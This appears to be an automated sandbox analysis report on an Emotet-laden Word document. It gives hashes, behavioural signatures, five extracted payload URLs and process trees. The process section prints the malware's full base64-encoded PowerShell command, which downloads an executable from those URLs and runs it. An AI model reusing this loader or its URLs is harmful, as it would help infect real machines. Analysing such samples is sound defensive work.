Analysis
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max time kernel
13s -
max time network
13s -
platform
windows10_x64 -
resource
win10 -
submitted
02-10-2020 16:38
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_3428165d15589ba9839556bad72d2162fee77247499f3ae6b0016a697877169a_2020-10-02__163613875148._fpx.doc
Resource
win10
General
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Target
emotet_e2_3428165d15589ba9839556bad72d2162fee77247499f3ae6b0016a697877169a_2020-10-02__163613875148._fpx.doc
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Size
125KB
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MD5
659f175cbd422379fe3a6a63c5b1f640
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SHA1
61af3732c39c9ec9e6b0bd1234eba2ccfe8a42e6
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SHA256
5d7bd5ab1f0ef9fe49f97b49fc955f64a9878fc341650143d572b24126f1284b
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SHA512
bfe05e59cce39f8747a0ee1186a4a4f6d8834882972bf238f0dcd6743314871df4cb11e824e382ed95cb29808e7e0d75d6ab6d3aec69532d7865171a5e50aa87
Malware Config
Extracted
https://atlanticsg.com/wp-includes/fsfrz22_mkp29qlby-69478/
http://eastpennlandscape.com/css/qhJUtdBFvM/
http://mcs-interiors.co.uk/cgi-bin/MUbadZUIXD/
http://laderajabugo.navicu.com/wp-admin/6ohv5j_6m40d-4652183/
http://banphongresort.com/wp-includes/8hxbg02o_wkpvf-27459009/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1824 1240 powershell.exe -
Blacklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 12 1824 powershell.exe 14 1824 powershell.exe 16 1824 powershell.exe 18 1824 powershell.exe 27 1824 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3104 WINWORD.EXE 3104 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1824 powershell.exe 1824 powershell.exe 1824 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1824 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
WINWORD.EXEpid process 3104 WINWORD.EXE 3104 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3428165d15589ba9839556bad72d2162fee77247499f3ae6b0016a697877169a_2020-10-02__163613875148._fpx.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQBPAGYAMgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAGwATQBJAGQAawArACcALgBlAHgAZQAnADsAJABaAEUAdwBCAFIAUwBPAD0AJwBuAEYAcAB6AGkAdwAnADsAJABUAHAAUwA0ADYAcwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBgAGUAdABgAC4AdwBFAGIAQwBgAGwASQBFAE4AdAA7ACQARAB3AGIAOQB6AHMAVwA9ACcAaAB0AHQAcABzADoALwAvAGEAdABsAGEAbgB0AGkAYwBzAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGYAcwBmAHIAegAyADIAXwBtAGsAcAAyADkAcQBsAGIAeQAtADYAOQA0ADcAOAAvAEAAaAB0AHQAcAA6AC8ALwBlAGEAcwB0AHAAZQBuAG4AbABhAG4AZABzAGMAYQBwAGUALgBjAG8AbQAvAGMAcwBzAC8AcQBoAEoAVQB0AGQAQgBGAHYATQAvAEAAaAB0AHQAcAA6AC8ALwBtAGMAcwAtAGkAbgB0AGUAcgBpAG8AcgBzAC4AYwBvAC4AdQBrAC8AYwBnAGkALQBiAGkAbgAvAE0AVQBiAGEAZABaAFUASQBYAEQALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAZQByAGEAagBhAGIAdQBnAG8ALgBuAGEAdgBpAGMAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANgBvAGgAdgA1AGoAXwA2AG0ANAAwAGQALQA0ADYANQAyADEAOAAzAC8AQABoAHQAdABwADoALwAvAGIAYQBuAHAAaABvAG4AZwByAGUAcwBvAHIAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOABoAHgAYgBnADAAMgBvAF8AdwBrAHAAdgBmAC0AMgA3ADQANQA5ADAAMAA5AC8AJwAuAHMAUABsAEkAdAAoACcAQAAnACkAOwAkAEIAUwAyAHAAbQA1AHQAPQAnAGgAegBuAFUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGkAbQA4AHoAXwBHAFIAIABpAG4AIAAkAEQAdwBiADkAegBzAFcAKQB7AHQAcgB5AHsAJABUAHAAUwA0ADYAcwAuAEQAbwBXAE4ATABPAEEAZABmAEkATABFACgAJABHAGkAbQA4AHoAXwBHAFIALAAgACQAdQBVAEkARQBPAGYAMgB6ACkAOwAkAEwAUQBYADYAYQA2AD0AJwBoAEoAcwB6AHMAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHUAVQBJAEUATwBmADIAegApAC4ATABFAE4ARwB0AEgAIAAtAGcAZQAgADMAMwA2ADkAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAcwB0AEEAcgB0ACgAJAB1AFUASQBFAE8AZgAyAHoAKQA7ACQATABTAEkAMwA0AEsARgA9ACcAaABjAEgANwBWAGYAJwA7AGIAcgBlAGEAawA7ACQATwBoADUAdABtAFkAbQA9ACcAbgBBADQAaQAyAEcAYQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAWQBVAEYAUwBqAD0AJwBvAEcAcwB3AE4AdQAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1824-6-0x00007FF881010000-0x00007FF8819FC000-memory.dmpFilesize
9.9MB
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memory/1824-7-0x0000027B18030000-0x0000027B18031000-memory.dmpFilesize
4KB
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memory/1824-8-0x0000027B306C0000-0x0000027B306C1000-memory.dmpFilesize
4KB
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memory/3104-0-0x00007FF888680000-0x00007FF888D46000-memory.dmpFilesize
6.8MB
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memory/3104-1-0x00000235AE2DD000-0x00000235AE2E0000-memory.dmpFilesize
12KB
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memory/3104-2-0x00000235AE2E0000-0x00000235AE2E3000-memory.dmpFilesize
12KB
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memory/3104-3-0x00000235AE47F000-0x00000235AE481000-memory.dmpFilesize
8KB
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memory/3104-4-0x00000235AE2E0000-0x00000235AE2E3000-memory.dmpFilesize
12KB
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memory/3104-5-0x00000235AE47F000-0x00000235AE481000-memory.dmpFilesize
8KB